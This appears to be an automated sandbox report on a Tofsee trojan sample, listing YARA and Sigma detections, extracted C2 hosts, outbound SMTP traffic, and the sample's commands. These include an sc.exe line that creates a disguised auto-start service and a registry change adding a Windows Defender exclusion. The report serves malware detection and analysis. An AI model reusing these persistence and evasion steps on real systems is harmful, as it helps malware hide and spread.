0.2.2IFYYPRUgO.exe.40c0e67.1.unpack	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0xd44:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xd695:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
0.2.2IFYYPRUgO.exe.40c0e67.1.unpack	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0xe110:$s2: loader_id 0xe140:$s3: start_srv 0xe170:$s4: lid_file_upd 0xe164:$s5: localcfg 0xe894:$s6: Incorrect respons
13.2.svchost.exe.2d30000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
13.2.svchost.exe.2d30000.0.unpack	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0x1944:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xe295:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
13.2.svchost.exe.2d30000.0.unpack	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0xfc3e:$s1: n%systemroot%\system32\cmd.exe 0xed10:$s2: loader_id 0xed40:$s3: start_srv 0xed70:$s4: lid_file_upd 0xed64:$s5: localcfg 0xf494:$s6: Incorrect respons 0xf574:$s7: mx connect error 0xf4f0:$s8: Error sending command (sent = %d/%d) 0xf628:$s9: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u
12.3.uscdfbek.exe.2630000.0.unpack	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0xd44:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xd695:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
12.3.uscdfbek.exe.2630000.0.unpack	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0xe110:$s2: loader_id 0xe140:$s3: start_srv 0xe170:$s4: lid_file_upd 0xe164:$s5: localcfg 0xe894:$s6: Incorrect respons
0.2.2IFYYPRUgO.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0.2.2IFYYPRUgO.exe.400000.0.raw.unpack	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0x2544:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xee95:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
0.2.2IFYYPRUgO.exe.400000.0.raw.unpack	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0x1123e:$s1: n%systemroot%\system32\cmd.exe 0x10310:$s2: loader_id 0x10340:$s3: start_srv 0x10370:$s4: lid_file_upd 0x10364:$s5: localcfg 0x10a94:$s6: Incorrect respons 0x10b74:$s7: mx connect error 0x10af0:$s8: Error sending command (sent = %d/%d) 0x10c28:$s9: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u
12.3.uscdfbek.exe.2630000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
12.3.uscdfbek.exe.2630000.0.raw.unpack	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0x1944:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xe295:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
12.3.uscdfbek.exe.2630000.0.raw.unpack	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0xfc3e:$s1: n%systemroot%\system32\cmd.exe 0xed10:$s2: loader_id 0xed40:$s3: start_srv 0xed70:$s4: lid_file_upd 0xed64:$s5: localcfg 0xf494:$s6: Incorrect respons 0xf574:$s7: mx connect error 0xf4f0:$s8: Error sending command (sent = %d/%d) 0xf628:$s9: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u
12.2.uscdfbek.exe.2610e67.1.unpack	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0xd44:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xd695:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
12.2.uscdfbek.exe.2610e67.1.unpack	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0xe110:$s2: loader_id 0xe140:$s3: start_srv 0xe170:$s4: lid_file_upd 0xe164:$s5: localcfg 0xe894:$s6: Incorrect respons
12.2.uscdfbek.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
12.2.uscdfbek.exe.400000.0.raw.unpack	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0x2544:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xee95:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
12.2.uscdfbek.exe.400000.0.raw.unpack	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0x1123e:$s1: n%systemroot%\system32\cmd.exe 0x10310:$s2: loader_id 0x10340:$s3: start_srv 0x10370:$s4: lid_file_upd 0x10364:$s5: localcfg 0x10a94:$s6: Incorrect respons 0x10b74:$s7: mx connect error 0x10af0:$s8: Error sending command (sent = %d/%d) 0x10c28:$s9: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u
Click to see the 39 entries

Sigma Signatures

System Summary

Sigma detected: Suspect Svchost Activity

Source: Process started

Author: David Burkett, @signalblur: Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe /d"C:\Users\user\Desktop\2IFYYPRUgO.exe", ParentImage: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe, ParentProcessId: 7096, ParentProcessName: uscdfbek.exe, ProcessCommandLine: svchost.exe, ProcessId: 940, ProcessName: svchost.exe

Sigma detected: Suspicious New Service Creation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\sc.exe" create chxnvqnu binPath= "C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe /d\"C:\Users\user\Desktop\2IFYYPRUgO.exe\"" type= own start= auto DisplayName= "wifi support", CommandLine: "C:\Windows\System32\sc.exe" create chxnvqnu binPath= "C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe /d\"C:\Users\user\Desktop\2IFYYPRUgO.exe\"" type= own start= auto DisplayName= "wifi support", CommandLine|base64offset|contains: r, Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\2IFYYPRUgO.exe", ParentImage: C:\Users\user\Desktop\2IFYYPRUgO.exe, ParentProcessId: 1472, ParentProcessName: 2IFYYPRUgO.exe, ProcessCommandLine: "C:\Windows\System32\sc.exe" create chxnvqnu binPath= "C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe /d\"C:\Users\user\Desktop\2IFYYPRUgO.exe\"" type= own start= auto DisplayName= "wifi support", ProcessId: 2352, ProcessName: sc.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 52.101.8.49, DestinationIsIpv6: false, DestinationPort: 25, EventID: 3, Image: C:\Windows\SysWOW64\svchost.exe, Initiated: true, ProcessId: 940, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe /d"C:\Users\user\Desktop\2IFYYPRUgO.exe", ParentImage: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe, ParentProcessId: 7096, ParentProcessName: uscdfbek.exe, ProcessCommandLine: svchost.exe, ProcessId: 940, ProcessName: svchost.exe

Sigma detected: Windows Defender Exclusions Added - Registry

Source: Registry Key set

Author: Christian Burkard (Nextron Systems): Data: Details: 0, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\svchost.exe, ProcessId: 940, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\SysWOW64\chxnvqnu

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: "C:\Windows\System32\sc.exe" create chxnvqnu binPath= "C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe /d\"C:\Users\user\Desktop\2IFYYPRUgO.exe\"" type= own start= auto DisplayName= "wifi support", CommandLine: "C:\Windows\System32\sc.exe" create chxnvqnu binPath= "C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe /d\"C:\Users\user\Desktop\2IFYYPRUgO.exe\"" type= own start= auto DisplayName= "wifi support", CommandLine|base64offset|contains: r, Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\2IFYYPRUgO.exe", ParentImage: C:\Users\user\Desktop\2IFYYPRUgO.exe, ParentProcessId: 1472, ParentProcessName: 2IFYYPRUgO.exe, ProcessCommandLine: "C:\Windows\System32\sc.exe" create chxnvqnu binPath= "C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe /d\"C:\Users\user\Desktop\2IFYYPRUgO.exe\"" type= own start= auto DisplayName= "wifi support", ProcessId: 2352, ProcessName: sc.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, ProcessId: 6616, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: jotunheim.name:443	Avira URL Cloud: Label: malware
Source: vanaheim.cn:443	Avira URL Cloud: Label: phishing

Found malware configuration

Source: 12.3.uscdfbek.exe.2630000.0.raw.unpack

Malware Configuration Extractor: Tofsee {"C2 list": ["vanaheim.cn:443", "jotunheim.name:443"]}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\uscdfbek.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 2IFYYPRUgO.exe

Joe Sandbox ML: detected

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Unpacked PE file: 0.2.2IFYYPRUgO.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Unpacked PE file: 12.2.uscdfbek.exe.400000.0.unpack

Source: 2IFYYPRUgO.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Change of critical system settings

Adds extensions / path to Windows Defender exclusion list (Registry)

Source: C:\Windows\SysWOW64\svchost.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\chxnvqnu

Jump to behavior

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 52.101.8.49 25	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 94.100.180.31 25	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 195.58.54.132 443	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 64.233.166.27 25	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 67.195.228.111 25	Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: vanaheim.cn:443
Source: Malware configuration extractor	URLs: jotunheim.name:443

Source: Joe Sandbox View	IP Address: 52.101.8.49 52.101.8.49
Source: Joe Sandbox View	IP Address: 67.195.228.111 67.195.228.111
Source: Joe Sandbox View	IP Address: 94.100.180.31 94.100.180.31

Source: Joe Sandbox View	ASN Name: URALTRANSCOM-ASUA URALTRANSCOM-ASUA
Source: Joe Sandbox View	ASN Name: MICROSOFT-CORP-MSN-AS-BLOCKUS MICROSOFT-CORP-MSN-AS-BLOCKUS
Source: Joe Sandbox View	ASN Name: YAHOO-GQ1US YAHOO-GQ1US
Source: Joe Sandbox View	ASN Name: MAILRU-ASMailRuRU MAILRU-ASMailRuRU

Source: global traffic	TCP traffic: 192.168.2.5:49705 -> 52.101.8.49:25
Source: global traffic	TCP traffic: 192.168.2.5:49714 -> 67.195.228.111:25
Source: global traffic	TCP traffic: 192.168.2.5:49715 -> 64.233.166.27:25
Source: global traffic	TCP traffic: 192.168.2.5:49718 -> 94.100.180.31:25

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Code function: 0_2_00402A62 GetProcessHeap,GetProcessHeap,GetProcessHeap,HeapAlloc,socket,htons,select,recv,htons,htons,htons,GetProcessHeap,HeapAlloc,htons,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,closesocket,GetProcessHeap,HeapFree,

0_2_00402A62

Source: global traffic	DNS traffic detected: DNS query: microsoft-com.mail.protection.outlook.com
Source: global traffic	DNS traffic detected: DNS query: vanaheim.cn
Source: global traffic	DNS traffic detected: DNS query: yahoo.com
Source: global traffic	DNS traffic detected: DNS query: mta6.am0.yahoodns.net
Source: global traffic	DNS traffic detected: DNS query: google.com
Source: global traffic	DNS traffic detected: DNS query: smtp.google.com
Source: global traffic	DNS traffic detected: DNS query: mail.ru
Source: global traffic	DNS traffic detected: DNS query: mxs.mail.ru

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716

Spam, unwanted Advertisements and Ransom Demands

Yara detected Tofsee

Source: Yara match	File source: 12.2.uscdfbek.exe.2dd0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.uscdfbek.exe.2610e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.uscdfbek.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IFYYPRUgO.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.2d30000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.uscdfbek.exe.2dd0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IFYYPRUgO.exe.40c0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IFYYPRUgO.exe.40e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.2d30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IFYYPRUgO.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.uscdfbek.exe.2630000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.uscdfbek.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2079103055.0000000002DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2074120275.0000000002630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2043185641.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2IFYYPRUgO.exe PID: 1472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: uscdfbek.exe PID: 7096, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 940, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.3.2IFYYPRUgO.exe.40e0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 0.3.2IFYYPRUgO.exe.40e0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Tofsee Author: ditekSHen
Source: 12.2.uscdfbek.exe.2dd0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 12.2.uscdfbek.exe.2dd0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Tofsee Author: ditekSHen
Source: 12.2.uscdfbek.exe.2610e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 12.2.uscdfbek.exe.2610e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Tofsee Author: ditekSHen
Source: 12.2.uscdfbek.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 12.2.uscdfbek.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Tofsee Author: ditekSHen
Source: 0.2.2IFYYPRUgO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 0.2.2IFYYPRUgO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Tofsee Author: ditekSHen
Source: 13.2.svchost.exe.2d30000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 13.2.svchost.exe.2d30000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Tofsee Author: ditekSHen
Source: 12.2.uscdfbek.exe.2dd0000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 12.2.uscdfbek.exe.2dd0000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Tofsee Author: ditekSHen
Source: 0.2.2IFYYPRUgO.exe.40c0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 0.2.2IFYYPRUgO.exe.40c0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Tofsee Author: ditekSHen
Source: 0.3.2IFYYPRUgO.exe.40e0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 0.3.2IFYYPRUgO.exe.40e0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Tofsee Author: ditekSHen
Source: 0.2.2IFYYPRUgO.exe.40c0e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 0.2.2IFYYPRUgO.exe.40c0e67.1.unpack, type: UNPACKEDPE	Matched rule: Detects Tofsee Author: ditekSHen
Source: 13.2.svchost.exe.2d30000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 13.2.svchost.exe.2d30000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Tofsee Author: ditekSHen
Source: 12.3.uscdfbek.exe.2630000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 12.3.uscdfbek.exe.2630000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Tofsee Author: ditekSHen
Source: 0.2.2IFYYPRUgO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 0.2.2IFYYPRUgO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Tofsee Author: ditekSHen
Source: 12.3.uscdfbek.exe.2630000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 12.3.uscdfbek.exe.2630000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Tofsee Author: ditekSHen
Source: 12.2.uscdfbek.exe.2610e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 12.2.uscdfbek.exe.2610e67.1.unpack, type: UNPACKEDPE	Matched rule: Detects Tofsee Author: ditekSHen
Source: 12.2.uscdfbek.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 12.2.uscdfbek.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Tofsee Author: ditekSHen
Source: 0000000C.00000002.2078985168.0000000002688000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Tofsee Author: ditekSHen
Source: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects Tofsee Author: ditekSHen
Source: 0000000C.00000002.2079103055.0000000002DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 0000000C.00000002.2079103055.0000000002DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Tofsee Author: ditekSHen
Source: 0000000C.00000003.2074120275.0000000002630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 0000000C.00000003.2074120275.0000000002630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Tofsee Author: ditekSHen
Source: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 00000000.00000003.2043185641.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 00000000.00000003.2043185641.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Tofsee Author: ditekSHen
Source: 00000000.00000002.2079068400.000000000263D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Tofsee_26124fe4 Author: unknown
Source: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Detects Tofsee Author: ditekSHen

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Code function: 0_2_00408E26: CreateFileW,DeviceIoControl,CloseHandle,

0_2_00408E26

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Code function: 0_2_00401280 ShellExecuteExW,lstrlenW,GetStartupInfoW,CreateProcessWithLogonW,WaitForSingleObject,CloseHandle,CloseHandle,GetLastError,GetLastError,

0_2_00401280

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\chxnvqnu\

Jump to behavior

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Code function: 0_2_0040C913	0_2_0040C913
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Code function: 12_2_0040C913	12_2_0040C913
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_02D3C913	13_2_02D3C913

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Code function: String function: 040C27AB appears 35 times
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Code function: String function: 0040EE2A appears 40 times
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Code function: String function: 00402544 appears 53 times

Source: C:\Windows\System32\svchost.exe

